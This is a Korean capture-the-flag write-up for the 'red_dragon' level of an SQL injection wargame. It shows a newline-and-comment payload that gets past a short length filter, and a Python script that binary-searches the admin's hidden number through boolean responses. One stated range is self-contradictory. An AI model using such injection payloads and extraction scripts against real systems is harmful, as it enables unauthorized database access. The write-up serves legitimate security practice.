공격 백터 : id, no

 

입력 값에 대한 검증

  • id : prob, _, . 필터링, 7 이하 길이 제한
  • if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~"); if(strlen($_GET['id']) > 7) exit("too long string");
  • no : 숫자가 아닌 경우 1로 설정
  • $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");

이번 문제는 admin의 no 값과 공격 백터인 no 값이 일치해야 문제를 클리어할 수 있는 문제이다.

 

$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

admin의 no를 구하기 위해선 첫번째 쿼리문에 SQLi를 시도하여 획득해야한다.
하지만 id는 7글자 이하로 제한이 되어 있으며, no는 숫자만 입력 가능하여 Union SQLi와 같은 길이가 긴 SQLi는 힘들어 보인다.

 

일단 나는 guest, admin가 있는지 확인한 결과 admin 밖에 없다는 것을 알 수 있었다.

 

SELECT id FROM prob_red_dragon WHERE id=''||no>1#' and no=1

나는 위와 같은 쿼리문을 생각할 수 있었다. 하지만 id의 길이 제한 때문에 no> 뒤에 숫자를 넣을 수가 없었다.

 

SELECT id FROM prob_red_dragon WHERE id=''||no>#' and no=
1000

그러나 위와 같이 줄바꿈 %0a을 통해 no>뒤에 숫자를 넣어 줄 수 있다.
이를 통해 admin의 no 크기를 대략적으로 구해볼 것이다.

 

대략적으로 구해본 결과 admin의 no는 1000000000 < no < 1000000000이라는 범위를 가진다는 것을 알 수 있었다.
나는 이진탐색을 통하여 좀 더 세부적으로 구해봤다.

 

import requests

def sqli(size):
    url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php'
    cookies = {'PHPSESSID':'jh9pc0doe2uqfsabv1rle1eptl'}
    parameter = f'?id=%27||no>%23&no=%0a{size}'

    response = requests.get(url+parameter, cookies=cookies)

    return response.text

def binary_search_recursion(start, end):
    if start > end:
        return start

    mid = (start + end) // 2

    result = sqli(mid)

    if "Hello admin" in result:
        start = mid + 1
    else:
        end = mid - 1

    return binary_search_recursion(start, end)

if __name__ == '__main__':
    result = binary_search_recursion(100000000, 1000000000)
    print(result)

인터넷에서 이진검색에 대한 코드를 갖고와서 그대로 적용시켰다.

 

파이썬으로 구한 값으로 문제를 클리어할 수 있었다.

복사했습니다!